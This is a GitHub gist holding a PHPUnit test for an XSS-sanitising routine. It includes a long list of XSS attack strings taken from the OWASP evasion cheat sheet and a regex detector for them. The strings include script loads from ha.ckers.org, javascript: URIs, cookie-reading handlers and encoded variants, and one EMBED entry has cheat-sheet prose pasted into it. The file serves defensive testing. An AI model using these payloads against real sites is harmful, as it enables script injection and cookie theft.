Skip to content

Instantly share code, notes, and snippets.

@andybeak
Last active April 23, 2020 16:17
Show Gist options
  • Save andybeak/5a7a17f7665262daab6b to your computer and use it in GitHub Desktop.
Save andybeak/5a7a17f7665262daab6b to your computer and use it in GitHub Desktop.
PHPunit test for a permissive xss routine
<?php
/**
*
* There are use cases where using filter_var( FILTER_SANITIZE_STRING ) is not desireable because it is too greedy.
* In the event that you have written a more permissive xss cleaning routine this unit test can be used to test your
* cleaning routine. The list of attack vectors is not comprehensive but should give you a good start.
*
* The detection routine below is based on https://github.com/symphonycms/xssfilter/blob/master/extension.driver.php
* and on https://gist.github.com/mbijon/1098477
*
* Currently the detection routine needs work as some attack strings are modified to the point where they no longer
* contain a vector when tested against the patterns.
*/
class xssTest extends PHPUnit_Framework_TestCase
{
/**
* @dataProvider workingStringsProvider
*/
public function testWorkingStrings($testString){
$this->assertEquals( $testString, Xss::xssClean( $testString ), 'These strings are safe and should be returned without modification' );
}
public static function workingStringsProvider(){
// these strings should be returned without modification - they are not attacks
return array(
array('<Pass+word!@#$%^&*()-/\\>' ),
array('<div><strong><p>acceptable markup</p><p>should be left alone</p></strong></div>'),
array('<div>but what about broken markup</div'),
array( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed malesuada nec ex eu volutpat. Vestibulum varius odio a congue sagittis.' ),
array( 'https://www.securewebaddress.com' ),
array( 'http://www.httpwebaddress.com'),
array( 'http://www.web.com/default.asp?TEST=foo&MSG=URL%20ECODED%20STUFF%20get%20variables.' ),
);
}
/**
* @dataProvider attackVectorProvider
*/
public function testXssDetect($attackVector){
// $this->assertTrue($this->detectXss($attackVector));
}
/**
* @dataProvider attackVectorProvider
*/
public function testXssClean($attackVector){
$this->assertFalse($this->detectXss(Xss::xssClean($attackVector)), 'We expect the vector to be cleaned');
}
public static function attackVectorProvider()
{
// see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
return array(
array( '<iframe src="javascript:alert(\'Xss\')";></iframe>' ),
array( "'';!--\"<XSS>=&{()}" ),
array( '<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>' ),
array( '<IMG SRC="javascript:alert(\'XSS\');">' ),
array( '<IMG SRC=javascript:alert(\'XSS\')>' ),
array( '<IMG SRC=JaVaScRiPt:alert(\'XSS\')>' ),
array( '<IMG SRC=javascript:alert(\"XSS\")>' ),
array( '<IMG SRC=`javascript:alert("RSnake says, \'XSS\'")`>' ),
array( '<a onmouseover="alert(document.cookie)">xxs link</a>' ),
array( '<IMG """><SCRIPT>alert("XSS")</SCRIPT>">' ),
array( '<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>' ),
array( '<IMG SRC=# onmouseover="alert(\'xxs\')">' ),
array( '<IMG SRC= onmouseover="alert(\'xxs\')">' ),
array( '<IMG onmouseover="alert(\'xxs\')">' ),
array( '<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>' ),
array( '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>' ),
array( '<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>' ),
array( '<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>' ),
array( '<IMG SRC="jav ascript:alert(\'XSS\');">' ),
array( '<IMG SRC="jav&#x09;ascript:alert(\'XSS\');">' ),
array( '<IMG SRC="jav&#x0A;ascript:alert(\'XSS\');">' ),
array( '<IMG SRC="jav&#x0D;ascript:alert(\'XSS\');">' ),
array( "<IMG SRC=java\0script:alert(\"XSS\")>" ),
array( '<IMG SRC=" &#14; javascript:alert(\'XSS\');">' ),
array( '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
array( '<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>' ),
array( '<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
array( '<<SCRIPT>alert("XSS");//<</SCRIPT>' ),
array( '<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >' ),
array( '<SCRIPT SRC=//ha.ckers.org/.j>' ),
array( '<IMG SRC="javascript:alert(\'XSS\')"' ),
array( '\";alert(\'XSS\');//' ),
array( '</TITLE><SCRIPT>alert("XSS");</SCRIPT>' ),
array( '<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">' ),
array( '<BODY BACKGROUND="javascript:alert(\'XSS\')">' ),
array( '<IMG DYNSRC="javascript:alert(\'XSS\')">' ),
array( '<IMG LOWSRC="javascript:alert(\'XSS\')">' ),
array( '<STYLE>li {list-style-image: url("javascript:alert(\'XSS\')");}</STYLE><UL><LI>XSS</br>' ),
array( '<IMG SRC=\'vbscript:msgbox("XSS")\'>' ),
array( '<IMG SRC="livescript:[code]">' ),
array( '<BODY ONLOAD=alert(\'XSS\')>' ),
array( 'onClick(alert(\'XSS\'))' ), // not using all of the on variations
array( '<BGSOUND SRC="javascript:alert(\'XSS\');">' ),
array( '<BR SIZE="&{alert(\'XSS\')}">' ),
array( '<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">' ),
array( '<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">' ),
array( '<STYLE>@import\'http://ha.ckers.org/xss.css\';</STYLE>' ),
array( '<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">' ),
array( '<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>' ),
array( '<STYLE>@im\port\'\\ja\\vasc\\ript:alert("XSS")\';</STYLE>' ),
array( '<IMG STYLE="xss:expr/*XSS*/ession(alert(\'XSS\'))">' ),
array( 'exp/*<A STYLE=\'no\xss:noxss("*//*");' ),
array( '<STYLE TYPE="text/javascript">alert(\'XSS\');</STYLE>' ),
array( '<STYLE>.XSS{background-image:url("javascript:alert(\'XSS\')");}</STYLE><A CLASS=XSS></A>' ),
array( '<STYLE type="text/css">BODY{background:url("javascript:alert(\'XSS\')")}</STYLE>' ),
array( '<XSS STYLE="xss:expression(alert(\'XSS\'))">' ),
array( '<XSS STYLE="behavior: url(xss.htc);">' ),
array( '<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">' ),
array( '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">' ),
array( '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">' ),
array( '<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>' ),
array( '<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>' ),
array( '<FRAMESET><FRAME SRC="javascript:alert(\'XSS\');"></FRAMESET>' ),
array( '<TABLE BACKGROUND="javascript:alert(\'XSS\')">' ),
array( '<TABLE><TD BACKGROUND="javascript:alert(\'XSS\')">' ),
array( '<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">' ),
array( '<DIV STYLE="background-image:\\0075\\0072\\006C\\0028\'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029\'\\0029">' ),
array( '<DIV STYLE="background-image: url(&#1;javascript:alert(\'XSS\'))">' ),
array( '<DIV STYLE="width: expression(alert(\'XSS\'));">' ),
array( '<BASE HREF="javascript:alert(\'XSS\');//">' ),
array( '<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>' ),
array( 'EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>' ),
array( '<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>' ),
array( 'c="javascript:";' ),
array( '<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(\'XSS\')"></B></I></XML>' ),
array( '<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>' ),
array( '<XML SRC="xsstest.xml" ID=I></XML>' ),
array( '<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>' ),
array( '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>' ),
array( '<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">' ),
array( '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>' ),
array( '<!--#exec cmd="/bin/echo \'<SCR\'"--><!--#exec cmd="/bin/echo \'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\'"-->' ),
array( '<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">' ),
array( '<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(\'XSS\')</SCRIPT>">' ),
array( '<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-' ),
array( '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
array( '<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
array( '<SCRIPT a=">" \'\' SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
array( '<SCRIPT "a=\'>\'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
array( '<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
array( '<SCRIPT a=">\'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
array( '<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
array( '($_POST >"\'><script>alert(‘XSS\')</script>' ),
array( '$_POST >%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>' ),
array( '>"\'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>' ),
array( 'AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22' ),
array( '%22%2Balert(%27XSS%27)%2B%22' ),
array( '<table background="javascript:alert(([code])"></table>' ),
array( '<object type=text/html data="javascript:alert(([code]);"></object>' ),
array( '<body onload="javascript:alert(([code])"></body>' )
);
}
/**
* Given a string, this function will determine if it potentially an
* XSS attack and return boolean.
*
* @author https://github.com/symphonycms/xssfilter/blob/master/extension.driver.php
*
* @param string $string The string to run XSS detection logic on
* @return boolean True if the given `$string` contains XSS, false otherwise.
*
*/
private function detectXSS( $string ){
$contains_xss = false;
// Skip any null or non string values
if(is_null($string) || !is_string($string) ){
return $contains_xss;
}
// Keep a copy of the original string before cleaning up
$orig = $string;
// URL decode
$string = urldecode($string);
// Convert Hexadecimals
$string = preg_replace('!(&#|\\\)[xX]([0-9a-fA-F]+);?!e','chr(hexdec("$2"))', $string);
// Clean up entities
$string = preg_replace('!(&#0+[0-9]+)!','$1;',$string);
// Decode entities
$string = html_entity_decode($string, ENT_NOQUOTES, 'UTF-8');
// Strip whitespace characters
$string = preg_replace('!\s!','',$string);
// Fix &entity\n;
$string = str_replace(array('&amp;','&lt;','&gt;'), array('&amp;amp;','&amp;lt;','&amp;gt;' ), $string);
$string = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $string);
$string = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $string);
$string = html_entity_decode($string, ENT_COMPAT, 'UTF-8');
// Set the patterns we'll test against
$patterns = array(
// Match any attribute starting with "on" or xmlns
'#(<[^>]+[\x00-\x20\"\'\/])(on|xmlns)[^>]*>?#iUu',
// Match javascript:, livescript:, vbscript: and mocha: protocols
'!((java|live|vb)script|mocha|feed|data):(\w)*!iUu',
'#-moz-binding[\x00-\x20]*:#u',
// Match style attributes
'#(<[^>]+[\x00-\x20\"\'\/])style=[^>]*>?#iUu',
// Match unneeded tags
'#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i'
);
foreach($patterns as $pattern){
// Test both the original string and clean string
if( preg_match($pattern, $string) || preg_match($pattern, $orig)){
$contains_xss = true;
}
if ($contains_xss === true){
return true;
}
}
return false;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment